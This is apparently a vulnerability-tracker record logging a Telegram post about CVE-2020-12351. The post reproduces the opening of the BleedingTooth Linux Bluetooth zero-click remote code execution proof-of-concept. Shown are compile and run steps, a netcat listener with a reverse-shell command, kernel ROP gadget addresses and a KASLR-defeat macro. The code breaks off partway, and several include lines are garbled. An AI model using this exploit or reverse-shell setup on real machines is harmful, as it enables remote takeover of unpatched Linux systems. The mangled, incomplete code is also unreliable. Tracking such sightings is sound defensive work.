{"uuid": "b9fd128b-5d67-48b5-b5d0-ac707fd66b11", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-12351", "type": "seen", "source": "https://t.me/hacking_Attack/4220", "content": "Exploit Collector\nLinux Kernel 5.4 BleedingTooth Remote Code Execution\n\nhttps://3.bp.blogspot.com/-Gb5I5b_xjQ0/WWlu86s-SoI/AAAAAAAAIJk/Vrr0JqyMe7wOp_97KyfJoVRHnDW4ZjPNwCLcBGAs/s1600/h112.png \nLinux kernel version 5.4 BleedingTooth bluetooth zero-click proof of concept remote code execution exploit.\n\nMD5 | 11e39065cefe8b6ef7461c14faa79210\n\nDownload\n/*\n* BleedingTooth: Linux Bluetooth Zero-Click Remote Code Execution\n* by Andy Nguyen (theflow@)\n*\n* This Proof-Of-Concept demonstrates the exploitation of\n* CVE-2020-12351 and CVE-2020-12352.\n*\n* Compile using:\n*   $ gcc -o exploit exploit.c -lbluetooth\n*\n* and execute as:\n*   $ sudo ./exploit target_mac source_ip source_port\n*\n* In another terminal, run:\n*   $ nc -lvp 1337\n*   exec bash -i 2>&0 1>&0\n*\n* If successful, a calc can be spawned with:\n*   export XAUTHORITY=/run/user/1000/gdm/Xauthority\n*   export DISPLAY=:0\n*   gnome-calculator\n*\n* This Proof-Of-Concept has been tested against a Dell XPS 15 running\n* Ubuntu 20.04.1 LTS with:\n* - 5.4.0-48-generic #52-Ubuntu SMP Thu Sep 10 10:58:49 UTC 2020\n*   x86_64 x86_64 x86_64 GNU/Linux\n*\n* The success rate of the exploit is estimated at 80%.\n*/\n\n#include <bluetooth\n#include <bluetooth\n#include <bluetooth\n#include <bluetooth\n#include <errno.h\n#include <stdlib.h\n#include <sys\n#include <sys\n#include <unistd.h\n\n#define REMOTE_COMMAND \"/bin/bash -c /bin/bash\n\n// Increase if the heap spray is not reliable.\n#define NUM_SPRAY_KMALLOC_1024 6\n#define NUM_SPRAY_KMALLOC_128 6\n\n// Increase if stuck at sending packets.\n#define HCI_SEND_ACL_DATA_WAIT_USEC 5000\n\n#define KERNEL_TEXT_BASE 0xffffffff81000000\n\n#define KERNEL_UBUNTU_5_4_0_48 1\n\n#ifdef KERNEL_UBUNTU_5_4_0_48\n#define PUSH_RSI_ADD_BYTE_PTR_RBX_41_BL_POP_RSP_POP_RBP_RET 0xffffffff81567f46\n#define POP_RAX_RET 0xffffffff8103d0b1\n#define POP_RDI_RET 0xffffffff8108efa0\n#define JMP_RAX 0xffffffff8100005b\n#define RUN_CMD 0xffffffff810ce470\n#define DO_TASK_DEAD 0xffffffff810dc260\n\n#define KASLR_DEFEAT(kaslr_offset, kernel_addr)                                \\\ndo {                                                                         \\\nif ((kernel_addr & 0xfffff) == 0xf4d8e)                                    \\\nkaslr_offset = kernel_addr - KERNEL_TEXT_BASE - 0xf4d8e;                 \\\nelse                                                                       \\\nkaslr_offset = kernel_addr - KERNEL_TEXT_BASE - 0xc001a4;                \\\n} while (0)\n#else\n#error \"No kernel version defined\"", "creation_timestamp": "2026-09-01T20:02:47.695686Z"}